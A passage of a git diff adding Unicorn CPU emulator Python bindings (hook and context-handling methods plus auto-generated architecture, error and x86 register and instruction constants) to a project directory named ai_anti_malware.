+ ) + elif htype & (uc.UC_HOOK_MEM_READ_UNMAPPED | + uc.UC_HOOK_MEM_WRITE_UNMAPPED | + uc.UC_HOOK_MEM_FETCH_UNMAPPED | + uc.UC_HOOK_MEM_READ_PROT | + uc.UC_HOOK_MEM_WRITE_PROT | + uc.UC_HOOK_MEM_FETCH_PROT): + cb = ctypes.cast(UC_HOOK_MEM_INVALID_CB(self._hook_mem_invalid_cb), UC_HOOK_MEM_INVALID_CB) + status = _uc.uc_hook_add( + self._uch, ctypes.byref(_h2), htype, cb, + ctypes.cast(self._callback_count, ctypes.c_void_p), + ctypes.c_uint64(begin), ctypes.c_uint64(end) + ) + else: + cb = ctypes.cast(UC_HOOK_MEM_ACCESS_CB(self._hook_mem_access_cb), UC_HOOK_MEM_ACCESS_CB) + status = _uc.uc_hook_add( + self._uch, ctypes.byref(_h2), htype, cb, + ctypes.cast(self._callback_count, ctypes.c_void_p), + ctypes.c_uint64(begin), ctypes.c_uint64(end) + ) + + # save the ctype function so gc will leave it alone. + self._ctype_cbs[self._callback_count] = cb + + if status != uc.UC_ERR_OK: + raise UcError(status) + + return _h2.value + + # delete a hook + def hook_del(self, h): + _h = uc_hook_h(h) + status = _uc.uc_hook_del(self._uch, _h) + if status != uc.UC_ERR_OK: + raise UcError(status) + h = 0 + + def context_save(self): + context = UcContext(self._uch) + status = _uc.uc_context_save(self._uch, context.context) + if status != uc.UC_ERR_OK: + raise UcError(status) + + return context + + def context_update(self, context): + status = _uc.uc_context_save(self._uch, context.context) + if status != uc.UC_ERR_OK: + raise UcError(status) + + def context_restore(self, context): + status = _uc.uc_context_restore(self._uch, context.context) + if status != uc.UC_ERR_OK: + raise UcError(status) + + # this returns a generator of regions in the form (begin, end, perms) + def mem_regions(self): + regions = ctypes.POINTER(_uc_mem_region)() + count = ctypes.c_uint32() + status = _uc.uc_mem_regions(self._uch, ctypes.byref(regions), ctypes.byref(count)) + if status != uc.UC_ERR_OK: + raise UcError(status) + + try: + for i in range(count.value): + yield (regions[i].begin, regions[i].end, regions[i].perms) + finally: + _uc.uc_free(regions) + + +class UcContext: + def __init__(self, h): + self._context = uc_context() + self._size = _uc.uc_context_size(h) + self._to_free = True + status = _uc.uc_context_alloc(h, ctypes.byref(self._context)) + if status != uc.UC_ERR_OK: + raise UcError(status) + + @property + def context(self): + return self._context + + @property + def size(self): + return self._size + + # Make UcContext picklable + def __getstate__(self): + return (bytes(self), self.size) + + def __setstate__(self, state): + self._size = state[1] + self._context = ctypes.cast(ctypes.create_string_buffer(state[0], self._size), uc_context) + # __init__ won'e be invoked, so we are safe to set it here. + self._to_free = False + + def __bytes__(self): + return ctypes.string_at(self.context, self.size) + + def __del__(self): + # We need this property since we shouldn't free it if the object is constructed from pickled bytes. + if self._to_free: + _uc.uc_context_free(self._context) + + +# print out debugging info +def debug(): + archs = { + "arm": uc.UC_ARCH_ARM, + "arm64": uc.UC_ARCH_ARM64, + "mips": uc.UC_ARCH_MIPS, + "sparc": uc.UC_ARCH_SPARC, + "m68k": uc.UC_ARCH_M68K, + "x86": uc.UC_ARCH_X86, + } + + all_archs = "" + keys = archs.keys() + for k in sorted(keys): + if uc_arch_supported(archs[k]): + all_archs += "-%s" % k + + major, minor, _combined = uc_version() + + return "python-%s-c%u.%u-b%u.%u" % ( + all_archs, major, minor, uc.UC_API_MAJOR, uc.UC_API_MINOR + ) diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/unicorn_const.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/unicorn_const.py new file mode 100644 index 0000000..54e2c95 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/unicorn_const.py @@ -0,0 +1,108 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [unicorn_const.py] +UC_API_MAJOR = 1 + +UC_API_MINOR = 0 +UC_VERSION_MAJOR = 1 + +UC_VERSION_MINOR = 0 +UC_VERSION_EXTRA = 2 +UC_SECOND_SCALE = 1000000 +UC_MILISECOND_SCALE = 1000 +UC_ARCH_ARM = 1 +UC_ARCH_ARM64 = 2 +UC_ARCH_MIPS = 3 +UC_ARCH_X86 = 4 +UC_ARCH_PPC = 5 +UC_ARCH_SPARC = 6 +UC_ARCH_M68K = 7 +UC_ARCH_MAX = 8 + +UC_MODE_LITTLE_ENDIAN = 0 +UC_MODE_BIG_ENDIAN = 1073741824 + +UC_MODE_ARM = 0 +UC_MODE_THUMB = 16 +UC_MODE_MCLASS = 32 +UC_MODE_V8 = 64 +UC_MODE_ARM926 = 128 +UC_MODE_ARM946 = 256 +UC_MODE_ARM1176 = 512 +UC_MODE_MICRO = 16 +UC_MODE_MIPS3 = 32 +UC_MODE_MIPS32R6 = 64 +UC_MODE_MIPS32 = 4 +UC_MODE_MIPS64 = 8 +UC_MODE_16 = 2 +UC_MODE_32 = 4 +UC_MODE_64 = 8 +UC_MODE_PPC32 = 4 +UC_MODE_PPC64 = 8 +UC_MODE_QPX = 16 +UC_MODE_SPARC32 = 4 +UC_MODE_SPARC64 = 8 +UC_MODE_V9 = 16 + +UC_ERR_OK = 0 +UC_ERR_NOMEM = 1 +UC_ERR_ARCH = 2 +UC_ERR_HANDLE = 3 +UC_ERR_MODE = 4 +UC_ERR_VERSION = 5 +UC_ERR_READ_UNMAPPED = 6 +UC_ERR_WRITE_UNMAPPED = 7 +UC_ERR_FETCH_UNMAPPED = 8 +UC_ERR_HOOK = 9 +UC_ERR_INSN_INVALID = 10 +UC_ERR_MAP = 11 +UC_ERR_WRITE_PROT = 12 +UC_ERR_READ_PROT = 13 +UC_ERR_FETCH_PROT = 14 +UC_ERR_ARG = 15 +UC_ERR_READ_UNALIGNED = 16 +UC_ERR_WRITE_UNALIGNED = 17 +UC_ERR_FETCH_UNALIGNED = 18 +UC_ERR_HOOK_EXIST = 19 +UC_ERR_RESOURCE = 20 +UC_ERR_EXCEPTION = 21 +UC_MEM_READ = 16 +UC_MEM_WRITE = 17 +UC_MEM_FETCH = 18 +UC_MEM_READ_UNMAPPED = 19 +UC_MEM_WRITE_UNMAPPED = 20 +UC_MEM_FETCH_UNMAPPED = 21 +UC_MEM_WRITE_PROT = 22 +UC_MEM_READ_PROT = 23 +UC_MEM_FETCH_PROT = 24 +UC_MEM_READ_AFTER = 25 +UC_HOOK_INTR = 1 +UC_HOOK_INSN = 2 +UC_HOOK_CODE = 4 +UC_HOOK_BLOCK = 8 +UC_HOOK_MEM_READ_UNMAPPED = 16 +UC_HOOK_MEM_WRITE_UNMAPPED = 32 +UC_HOOK_MEM_FETCH_UNMAPPED = 64 +UC_HOOK_MEM_READ_PROT = 128 +UC_HOOK_MEM_WRITE_PROT = 256 +UC_HOOK_MEM_FETCH_PROT = 512 +UC_HOOK_MEM_READ = 1024 +UC_HOOK_MEM_WRITE = 2048 +UC_HOOK_MEM_FETCH = 4096 +UC_HOOK_MEM_READ_AFTER = 8192 +UC_HOOK_INSN_INVALID = 16384 +UC_HOOK_MEM_UNMAPPED = 112 +UC_HOOK_MEM_PROT = 896 +UC_HOOK_MEM_READ_INVALID = 144 +UC_HOOK_MEM_WRITE_INVALID = 288 +UC_HOOK_MEM_FETCH_INVALID = 576 +UC_HOOK_MEM_INVALID = 1008 +UC_HOOK_MEM_VALID = 7168 +UC_QUERY_MODE = 1 +UC_QUERY_PAGE_SIZE = 2 +UC_QUERY_ARCH = 3 +UC_QUERY_TIMEOUT = 4 + +UC_PROT_NONE = 0 +UC_PROT_READ = 1 +UC_PROT_WRITE = 2 +UC_PROT_EXEC = 4 +UC_PROT_ALL = 7 diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/x86_const.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/x86_const.py new file mode 100644 index 0000000..9c0fbad --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/x86_const.py @@ -0,0 +1,1599 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [x86_const.py] + +# X86 registers + +UC_X86_REG_INVALID = 0 +UC_X86_REG_AH = 1 +UC_X86_REG_AL = 2 +UC_X86_REG_AX = 3 +UC_X86_REG_BH = 4 +UC_X86_REG_BL = 5 +UC_X86_REG_BP = 6 +UC_X86_REG_BPL = 7 +UC_X86_REG_BX = 8 +UC_X86_REG_CH = 9 +UC_X86_REG_CL = 10 +UC_X86_REG_CS = 11 +UC_X86_REG_CX = 12 +UC_X86_REG_DH = 13 +UC_X86_REG_DI = 14 +UC_X86_REG_DIL = 15 +UC_X86_REG_DL = 16 +UC_X86_REG_DS = 17 +UC_X86_REG_DX = 18 +UC_X86_REG_EAX = 19 +UC_X86_REG_EBP = 20 +UC_X86_REG_EBX = 21 +UC_X86_REG_ECX = 22 +UC_X86_REG_EDI = 23 +UC_X86_REG_EDX = 24 +UC_X86_REG_EFLAGS = 25 +UC_X86_REG_EIP = 26 +UC_X86_REG_EIZ = 27 +UC_X86_REG_ES = 28 +UC_X86_REG_ESI = 29 +UC_X86_REG_ESP = 30 +UC_X86_REG_FPSW = 31 +UC_X86_REG_FS = 32 +UC_X86_REG_GS = 33 +UC_X86_REG_IP = 34 +UC_X86_REG_RAX = 35 +UC_X86_REG_RBP = 36 +UC_X86_REG_RBX = 37 +UC_X86_REG_RCX = 38 +UC_X86_REG_RDI = 39 +UC_X86_REG_RDX = 40 +UC_X86_REG_RIP = 41 +UC_X86_REG_RIZ = 42 +UC_X86_REG_RSI = 43 +UC_X86_REG_RSP = 44 +UC_X86_REG_SI = 45 +UC_X86_REG_SIL = 46 +UC_X86_REG_SP = 47 +UC_X86_REG_SPL = 48 +UC_X86_REG_SS = 49 +UC_X86_REG_CR0 = 50 +UC_X86_REG_CR1 = 51 +UC_X86_REG_CR2 = 52 +UC_X86_REG_CR3 = 53 +UC_X86_REG_CR4 = 54 +UC_X86_REG_CR5 = 55 +UC_X86_REG_CR6 = 56 +UC_X86_REG_CR7 = 57 +UC_X86_REG_CR8 = 58 +UC_X86_REG_CR9 = 59 +UC_X86_REG_CR10 = 60 +UC_X86_REG_CR11 = 61 +UC_X86_REG_CR12 = 62 +UC_X86_REG_CR13 = 63 +UC_X86_REG_CR14 = 64 +UC_X86_REG_CR15 = 65 +UC_X86_REG_DR0 = 66 +UC_X86_REG_DR1 = 67 +UC_X86_REG_DR2 = 68 +UC_X86_REG_DR3 = 69 +UC_X86_REG_DR4 = 70 +UC_X86_REG_DR5 = 71 +UC_X86_REG_DR6 = 72 +UC_X86_REG_DR7 = 73 +UC_X86_REG_DR8 = 74 +UC_X86_REG_DR9 = 75 +UC_X86_REG_DR10 = 76 +UC_X86_REG_DR11 = 77 +UC_X86_REG_DR12 = 78 +UC_X86_REG_DR13 = 79 +UC_X86_REG_DR14 = 80 +UC_X86_REG_DR15 = 81 +UC_X86_REG_FP0 = 82 +UC_X86_REG_FP1 = 83 +UC_X86_REG_FP2 = 84 +UC_X86_REG_FP3 = 85 +UC_X86_REG_FP4 = 86 +UC_X86_REG_FP5 = 87 +UC_X86_REG_FP6 = 88 +UC_X86_REG_FP7 = 89 +UC_X86_REG_K0 = 90 +UC_X86_REG_K1 = 91 +UC_X86_REG_K2 = 92 +UC_X86_REG_K3 = 93 +UC_X86_REG_K4 = 94 +UC_X86_REG_K5 = 95 +UC_X86_REG_K6 = 96 +UC_X86_REG_K7 = 97 +UC_X86_REG_MM0 = 98 +UC_X86_REG_MM1 = 99 +UC_X86_REG_MM2 = 100 +UC_X86_REG_MM3 = 101 +UC_X86_REG_MM4 = 102 +UC_X86_REG_MM5 = 103 +UC_X86_REG_MM6 = 104 +UC_X86_REG_MM7 = 105 +UC_X86_REG_R8 = 106 +UC_X86_REG_R9 = 107 +UC_X86_REG_R10 = 108 +UC_X86_REG_R11 = 109 +UC_X86_REG_R12 = 110 +UC_X86_REG_R13 = 111 +UC_X86_REG_R14 = 112 +UC_X86_REG_R15 = 113 +UC_X86_REG_ST0 = 114 +UC_X86_REG_ST1 = 115 +UC_X86_REG_ST2 = 116 +UC_X86_REG_ST3 = 117 +UC_X86_REG_ST4 = 118 +UC_X86_REG_ST5 = 119 +UC_X86_REG_ST6 = 120 +UC_X86_REG_ST7 = 121 +UC_X86_REG_XMM0 = 122 +UC_X86_REG_XMM1 = 123 +UC_X86_REG_XMM2 = 124 +UC_X86_REG_XMM3 = 125 +UC_X86_REG_XMM4 = 126 +UC_X86_REG_XMM5 = 127 +UC_X86_REG_XMM6 = 128 +UC_X86_REG_XMM7 = 129 +UC_X86_REG_XMM8 = 130 +UC_X86_REG_XMM9 = 131 +UC_X86_REG_XMM10 = 132 +UC_X86_REG_XMM11 = 133 +UC_X86_REG_XMM12 = 134 +UC_X86_REG_XMM13 = 135 +UC_X86_REG_XMM14 = 136 +UC_X86_REG_XMM15 = 137 +UC_X86_REG_XMM16 = 138 +UC_X86_REG_XMM17 = 139 +UC_X86_REG_XMM18 = 140 +UC_X86_REG_XMM19 = 141 +UC_X86_REG_XMM20 = 142 +UC_X86_REG_XMM21 = 143 +UC_X86_REG_XMM22 = 144 +UC_X86_REG_XMM23 = 145 +UC_X86_REG_XMM24 = 146 +UC_X86_REG_XMM25 = 147 +UC_X86_REG_XMM26 = 148 +UC_X86_REG_XMM27 = 149 +UC_X86_REG_XMM28 = 150 +UC_X86_REG_XMM29 = 151 +UC_X86_REG_XMM30 = 152 +UC_X86_REG_XMM31 = 153 +UC_X86_REG_YMM0 = 154 +UC_X86_REG_YMM1 = 155 +UC_X86_REG_YMM2 = 156 +UC_X86_REG_YMM3 = 157 +UC_X86_REG_YMM4 = 158 +UC_X86_REG_YMM5 = 159 +UC_X86_REG_YMM6 = 160 +UC_X86_REG_YMM7 = 161 +UC_X86_REG_YMM8 = 162 +UC_X86_REG_YMM9 = 163 +UC_X86_REG_YMM10 = 164 +UC_X86_REG_YMM11 = 165 +UC_X86_REG_YMM12 = 166 +UC_X86_REG_YMM13 = 167 +UC_X86_REG_YMM14 = 168 +UC_X86_REG_YMM15 = 169 +UC_X86_REG_YMM16 = 170 +UC_X86_REG_YMM17 = 171 +UC_X86_REG_YMM18 = 172 +UC_X86_REG_YMM19 = 173 +UC_X86_REG_YMM20 = 174 +UC_X86_REG_YMM21 = 175 +UC_X86_REG_YMM22 = 176 +UC_X86_REG_YMM23 = 177 +UC_X86_REG_YMM24 = 178 +UC_X86_REG_YMM25 = 179 +UC_X86_REG_YMM26 = 180 +UC_X86_REG_YMM27 = 181 +UC_X86_REG_YMM28 = 182 +UC_X86_REG_YMM29 = 183 +UC_X86_REG_YMM30 = 184 +UC_X86_REG_YMM31 = 185 +UC_X86_REG_ZMM0 = 186 +UC_X86_REG_ZMM1 = 187 +UC_X86_REG_ZMM2 = 188 +UC_X86_REG_ZMM3 = 189 +UC_X86_REG_ZMM4 = 190 +UC_X86_REG_ZMM5 = 191 +UC_X86_REG_ZMM6 = 192 +UC_X86_REG_ZMM7 = 193 +UC_X86_REG_ZMM8 = 194 +UC_X86_REG_ZMM9 = 195 +UC_X86_REG_ZMM10 = 196 +UC_X86_REG_ZMM11 = 197 +UC_X86_REG_ZMM12 = 198 +UC_X86_REG_ZMM13 = 199 +UC_X86_REG_ZMM14 = 200 +UC_X86_REG_ZMM15 = 201 +UC_X86_REG_ZMM16 = 202 +UC_X86_REG_ZMM17 = 203 +UC_X86_REG_ZMM18 = 204 +UC_X86_REG_ZMM19 = 205 +UC_X86_REG_ZMM20 = 206 +UC_X86_REG_ZMM21 = 207 +UC_X86_REG_ZMM22 = 208 +UC_X86_REG_ZMM23 = 209 +UC_X86_REG_ZMM24 = 210 +UC_X86_REG_ZMM25 = 211 +UC_X86_REG_ZMM26 = 212 +UC_X86_REG_ZMM27 = 213 +UC_X86_REG_ZMM28 = 214 +UC_X86_REG_ZMM29 = 215 +UC_X86_REG_ZMM30 = 216 +UC_X86_REG_ZMM31 = 217 +UC_X86_REG_R8B = 218 +UC_X86_REG_R9B = 219 +UC_X86_REG_R10B = 220 +UC_X86_REG_R11B = 221 +UC_X86_REG_R12B = 222 +UC_X86_REG_R13B = 223 +UC_X86_REG_R14B = 224 +UC_X86_REG_R15B = 225 +UC_X86_REG_R8D = 226 +UC_X86_REG_R9D = 227 +UC_X86_REG_R10D = 228 +UC_X86_REG_R11D = 229 +UC_X86_REG_R12D = 230 +UC_X86_REG_R13D = 231 +UC_X86_REG_R14D = 232 +UC_X86_REG_R15D = 233 +UC_X86_REG_R8W = 234 +UC_X86_REG_R9W = 235 +UC_X86_REG_R10W = 236 +UC_X86_REG_R11W = 237 +UC_X86_REG_R12W = 238 +UC_X86_REG_R13W = 239 +UC_X86_REG_R14W = 240 +UC_X86_REG_R15W = 241 +UC_X86_REG_IDTR = 242 +UC_X86_REG_GDTR = 243 +UC_X86_REG_LDTR = 244 +UC_X86_REG_TR = 245 +UC_X86_REG_FPCW = 246 +UC_X86_REG_FPTAG = 247 +UC_X86_REG_MSR = 248 +UC_X86_REG_MXCSR = 249 +UC_X86_REG_FS_BASE = 250 +UC_X86_REG_GS_BASE = 251 +UC_X86_REG_ENDING = 252 + +# X86 instructions + +UC_X86_INS_INVALID = 0 +UC_X86_INS_AAA = 1 +UC_X86_INS_AAD = 2 +UC_X86_INS_AAM = 3 +UC_X86_INS_AAS = 4 +UC_X86_INS_FABS = 5 +UC_X86_INS_ADC = 6 +UC_X86_INS_ADCX = 7 +UC_X86_INS_ADD = 8 +UC_X86_INS_ADDPD = 9 +UC_X86_INS_ADDPS = 10 +UC_X86_INS_ADDSD = 11 +UC_X86_INS_ADDSS = 12 +UC_X86_INS_ADDSUBPD = 13 +UC_X86_INS_ADDSUBPS = 14 +UC_X86_INS_FADD = 15 +UC_X86_INS_FIADD = 16 +UC_X86_INS_FADDP = 17 +UC_X86_INS_ADOX = 18 +UC_X86_INS_AESDECLAST = 19 +UC_X86_INS_AESDEC = 20 +UC_X86_INS_AESENCLAST = 21 +UC_X86_INS_AESENC = 22 +UC_X86_INS_AESIMC = 23 +UC_X86_INS_AESKEYGENASSIST = 24 +UC_X86_INS_AND = 25 +UC_X86_INS_ANDN = 26 +UC_X86_INS_ANDNPD = 27 +UC_X86_INS_ANDNPS = 28 +UC_X86_INS_ANDPD = 29 +UC_X86_INS_ANDPS = 30 +UC_X86_INS_ARPL = 31 +UC_X86_INS_BEXTR = 32 +UC_X86_INS_BLCFILL = 33 +UC_X86_INS_BLCI = 34 +UC_X86_INS_BLCIC = 35 +UC_X86_INS_BLCMSK = 36 +UC_X86_INS_BLCS = 37 +UC_X86_INS_BLENDPD = 38 +UC_X86_INS_BLENDPS = 39 +UC_X86_INS_BLENDVPD = 40 +UC_X86_INS_BLENDVPS = 41 +UC_X86_INS_BLSFILL = 42 +UC_X86_INS_BLSI = 43 +UC_X86_INS_BLSIC = 44 +UC_X86_INS_BLSMSK = 45 +UC_X86_INS_BLSR = 46 +UC_X86_INS_BOUND = 47 +UC_X86_INS_BSF = 48 +UC_X86_INS_BSR = 49 +UC_X86_INS_BSWAP = 50 +UC_X86_INS_BT = 51 +UC_X86_INS_BTC = 52 +UC_X86_INS_BTR = 53 +UC_X86_INS_BTS = 54 +UC_X86_INS_BZHI = 55 +UC_X86_INS_CALL = 56 +UC_X86_INS_CBW = 57 +UC_X86_INS_CDQ = 58 +UC_X86_INS_CDQE = 59 +UC_X86_INS_FCHS = 60 +UC_X86_INS_CLAC = 61 +UC_X86_INS_CLC = 62 +UC_X86_INS_CLD = 63 +UC_X86_INS_CLFLUSH = 64 +UC_X86_INS_CLFLUSHOPT = 65 +UC_X86_INS_CLGI = 66 +UC_X86_INS_CLI = 67 +UC_X86_INS_CLTS = 68 +UC_X86_INS_CLWB = 69 +UC_X86_INS_CMC = 70 +UC_X86_INS_CMOVA = 71 +UC_X86_INS_CMOVAE = 72 +UC_X86_INS_CMOVB = 73 +UC_X86_INS_CMOVBE = 74 +UC_X86_INS_FCMOVBE = 75 +UC_X86_INS_FCMOVB = 76 +UC_X86_INS_CMOVE = 77 +UC_X86_INS_FCMOVE = 78 +UC_X86_INS_CMOVG = 79 +UC_X86_INS_CMOVGE = 80 +UC_X86_INS_CMOVL = 81 +UC_X86_INS_CMOVLE = 82 +UC_X86_INS_FCMOVNBE = 83 +UC_X86_INS_FCMOVNB = 84 +UC_X86_INS_CMOVNE = 85 +UC_X86_INS_FCMOVNE = 86 +UC_X86_INS_CMOVNO = 87 +UC_X86_INS_CMOVNP = 88 +UC_X86_INS_FCMOVNU = 89 +UC_X86_INS_CMOVNS = 90 +UC_X86_INS_CMOVO = 91 +UC_X86_INS_CMOVP = 92 +UC_X86_INS_FCMOVU = 93 +UC_X86_INS_CMOVS = 94 +UC_X86_INS_CMP = 95 +UC_X86_INS_CMPPD = 96 +UC_X86_INS_CMPPS = 97 +UC_X86_INS_CMPSB = 98 +UC_X86_INS_CMPSD = 99 +UC_X86_INS_CMPSQ = 100 +UC_X86_INS_CMPSS = 101 +UC_X86_INS_CMPSW = 102 +UC_X86_INS_CMPXCHG16B = 103 +UC_X86_INS_CMPXCHG = 104 +UC_X86_INS_CMPXCHG8B = 105 +UC_X86_INS_COMISD = 106 +UC_X86_INS_COMISS = 107 +UC_X86_INS_FCOMP = 108 +UC_X86_INS_FCOMPI = 109 +UC_X86_INS_FCOMI = 110 +UC_X86_INS_FCOM = 111 +UC_X86_INS_FCOS = 112 +UC_X86_INS_CPUID = 113 +UC_X86_INS_CQO = 114 +UC_X86_INS_CRC32 = 115 +UC_X86_INS_CVTDQ2PD = 116 +UC_X86_INS_CVTDQ2PS = 117 +UC_X86_INS_CVTPD2DQ = 118 +UC_X86_INS_CVTPD2PS = 119 +UC_X86_INS_CVTPS2DQ = 120 +UC_X86_INS_CVTPS2PD = 121 +UC_X86_INS_CVTSD2SI = 122 +UC_X86_INS_CVTSD2SS = 123 +UC_X86_INS_CVTSI2SD = 124 +UC_X86_INS_CVTSI2SS = 125 +UC_X86_INS_CVTSS2SD = 126 +UC_X86_INS_CVTSS2SI = 127 +UC_X86_INS_CVTTPD2DQ = 128 +UC_X86_INS_CVTTPS2DQ = 129 +UC_X86_INS_CVTTSD2SI = 130 +UC_X86_INS_CVTTSS2SI = 131 +UC_X86_INS_CWD = 132 +UC_X86_INS_CWDE = 133 +UC_X86_INS_DAA = 134 +UC_X86_INS_DAS = 135 +UC_X86_INS_DATA16 = 136 +UC_X86_INS_DEC = 137 +UC_X86_INS_DIV = 138 +UC_X86_INS_DIVPD = 139 +UC_X86_INS_DIVPS = 140 +UC_X86_INS_FDIVR = 141 +UC_X86_INS_FIDIVR = 142 +UC_X86_INS_FDIVRP = 143 +UC_X86_INS_DIVSD = 144 +UC_X86_INS_DIVSS = 145 +UC_X86_INS_FDIV = 146 +UC_X86_INS_FIDIV = 147 +UC_X86_INS_FDIVP = 148 +UC_X86_INS_DPPD = 149 +UC_X86_INS_DPPS = 150 +UC_X86_INS_RET = 151 +UC_X86_INS_ENCLS = 152 +UC_X86_INS_ENCLU = 153 +UC_X86_INS_ENTER = 154 +UC_X86_INS_EXTRACTPS = 155 +UC_X86_INS_EXTRQ = 156 +UC_X86_INS_F2XM1 = 157 +UC_X86_INS_LCALL = 158 +UC_X86_INS_LJMP = 159 +UC_X86_INS_FBLD = 160 +UC_X86_INS_FBSTP = 161 +UC_X86_INS_FCOMPP = 162 +UC_X86_INS_FDECSTP = 163 +UC_X86_INS_FEMMS = 164 +UC_X86_INS_FFREE = 165 +UC_X86_INS_FICOM = 166 +UC_X86_INS_FICOMP = 167 +UC_X86_INS_FINCSTP = 168 +UC_X86_INS_FLDCW = 169 +UC_X86_INS_FLDENV = 170 +UC_X86_INS_FLDL2E = 171 +UC_X86_INS_FLDL2T = 172 +UC_X86_INS_FLDLG2 = 173 +UC_X86_INS_FLDLN2 = 174 +UC_X86_INS_FLDPI = 175 +UC_X86_INS_FNCLEX = 176 +UC_X86_INS_FNINIT = 177 +UC_X86_INS_FNOP = 178 +UC_X86_INS_FNSTCW = 179 +UC_X86_INS_FNSTSW = 180 +UC_X86_INS_FPATAN = 181 +UC_X86_INS_FPREM = 182 +UC_X86_INS_FPREM1 = 183 +UC_X86_INS_FPTAN = 184 +UC_X86_INS_FFREEP = 185 +UC_X86_INS_FRNDINT = 186 +UC_X86_INS_FRSTOR = 187 +UC_X86_INS_FNSAVE = 188 +UC_X86_INS_FSCALE = 189 +UC_X86_INS_FSETPM = 190 +UC_X86_INS_FSINCOS = 191 +UC_X86_INS_FNSTENV = 192 +UC_X86_INS_FXAM = 193 +UC_X86_INS_FXRSTOR = 194 +UC_X86_INS_FXRSTOR64 = 195 +UC_X86_INS_FXSAVE = 196 +UC_X86_INS_FXSAVE64 = 197 +UC_X86_INS_FXTRACT = 198 +UC_X86_INS_FYL2X = 199 +UC_X86_INS_FYL2XP1 = 200 +UC_X86_INS_MOVAPD = 201 +UC_X86_INS_MOVAPS = 202 +UC_X86_INS_ORPD = 203 +UC_X86_INS_ORPS = 204 +UC_X86_INS_VMOVAPD = 205 +UC_X86_INS_VMOVAPS = 206 +UC_X86_INS_XORPD = 207 +UC_X86_INS_XORPS = 208 +UC_X86_INS_GETSEC = 209 +UC_X86_INS_HADDPD = 210 +UC_X86_INS_HADDPS = 211 +UC_X86_INS_HLT = 212 +UC_X86_INS_HSUBPD = 213 +UC_X86_INS_HSUBPS = 214 +UC_X86_INS_IDIV = 215 +UC_X86_INS_FILD = 216 +UC_X86_INS_IMUL = 217 +UC_X86_INS_IN = 218 +UC_X86_INS_INC = 219 +UC_X86_INS_INSB = 220 +UC_X86_INS_INSERTPS = 221 +UC_X86_INS_INSERTQ = 222 +UC_X86_INS_INSD = 223 +UC_X86_INS_INSW = 224 +UC_X86_INS_INT = 225 +UC_X86_INS_INT1 = 226 +UC_X86_INS_INT3 = 227 +UC_X86_INS_INTO = 228 +UC_X86_INS_INVD = 229 +UC_X86_INS_INVEPT = 230 +UC_X86_INS_INVLPG = 231 +UC_X86_INS_INVLPGA = 232 +UC_X86_INS_INVPCID = 233 +UC_X86_INS_INVVPID = 234 +UC_X86_INS_IRET = 235 +UC_X86_INS_IRETD = 236 +UC_X86_INS_IRETQ = 237 +UC_X86_INS_FISTTP = 238 +UC_X86_INS_FIST = 239 +UC_X86_INS_FISTP = 240 +UC_X86_INS_UCOMISD = 241 +UC_X86_INS_UCOMISS = 242 +UC_X86_INS_VCOMISD = 243 +UC_X86_INS_VCOMISS = 244 +UC_X86_INS_VCVTSD2SS = 245 +UC_X86_INS_VCVTSI2SD = 246 +UC_X86_INS_VCVTSI2SS = 247 +UC_X86_INS_VCVTSS2SD = 248 +UC_X86_INS_VCVTTSD2SI = 249 +UC_X86_INS_VCVTTSD2USI = 250 +UC_X86_INS_VCVTTSS2SI = 251 +UC_X86_INS_VCVTTSS2USI = 252 +UC_X86_INS_VCVTUSI2SD = 253 +UC_X86_INS_VCVTUSI2SS = 254 +UC_X86_INS_VUCOMISD = 255 +UC_X86_INS_VUCOMISS = 256 +UC_X86_INS_JAE = 257 +UC_X86_INS_JA = 258 +UC_X86_INS_JBE = 259 +UC_X86_INS_JB = 260 +UC_X86_INS_JCXZ = 261 +UC_X86_INS_JECXZ = 262 +UC_X86_INS_JE = 263 +UC_X86_INS_JGE = 264 +UC_X86_INS_JG = 265 +UC_X86_INS_JLE = 266 +UC_X86_INS_JL = 267 +UC_X86_INS_JMP = 268 +UC_X86_INS_JNE = 269 +UC_X86_INS_JNO = 270 +UC_X86_INS_JNP = 271 +UC_X86_INS_JNS = 272 +UC_X86_INS_JO = 273 +UC_X86_INS_JP = 274 +UC_X86_INS_JRCXZ = 275 +UC_X86_INS_JS = 276 +UC_X86_INS_KANDB = 277 +UC_X86_INS_KANDD = 278 +UC_X86_INS_KANDNB = 279 +UC_X86_INS_KANDND = 280 +UC_X86_INS_KANDNQ = 281 +UC_X86_INS_KANDNW = 282 +UC_X86_INS_KANDQ = 283 +UC_X86_INS_KANDW = 284 +UC_X86_INS_KMOVB = 285 +UC_X86_INS_KMOVD = 286 +UC_X86_INS_KMOVQ = 287 +UC_X86_INS_KMOVW = 288 +UC_X86_INS_KNOTB = 289 +UC_X86_INS_KNOTD = 290 +UC_X86_INS_KNOTQ = 291 +UC_X86_INS_KNOTW = 292 +UC_X86_INS_KORB = 293 +UC_X86_INS_KORD = 294 +UC_X86_INS_KORQ = 295 +UC_X86_INS_KORTESTB = 296 +UC_X86_INS_KORTESTD = 297 +UC_X86_INS_KORTESTQ = 298 +UC_X86_INS_KORTESTW = 299 +UC_X86_INS_KORW = 300 +UC_X86_INS_KSHIFTLB = 301 +UC_X86_INS_KSHIFTLD = 302 +UC_X86_INS_KSHIFTLQ = 303 +UC_X86_INS_KSHIFTLW = 304 +UC_X86_INS_KSHIFTRB = 305 +UC_X86_INS_KSHIFTRD = 306 +UC_X86_INS_KSHIFTRQ = 307 +UC_X86_INS_KSHIFTRW = 308 +UC_X86_INS_KUNPCKBW = 309 +UC_X86_INS_KXNORB = 310 +UC_X86_INS_KXNORD = 311 +UC_X86_INS_KXNORQ = 312 +UC_X86_INS_KXNORW = 313 +UC_X86_INS_KXORB = 314 +UC_X86_INS_KXORD = 315 +UC_X86_INS_KXORQ = 316 +UC_X86_INS_KXORW = 317 +UC_X86_INS_LAHF = 318 +UC_X86_INS_LAR = 319 +UC_X86_INS_LDDQU = 320 +UC_X86_INS_LDMXCSR = 321 +UC_X86_INS_LDS = 322 +UC_X86_INS_FLDZ = 323 +UC_X86_INS_FLD1 = 324 +UC_X86_INS_FLD = 325 +UC_X86_INS_LEA = 326 +UC_X86_INS_LEAVE = 327 +UC_X86_INS_LES = 328 +UC_X86_INS_LFENCE = 329 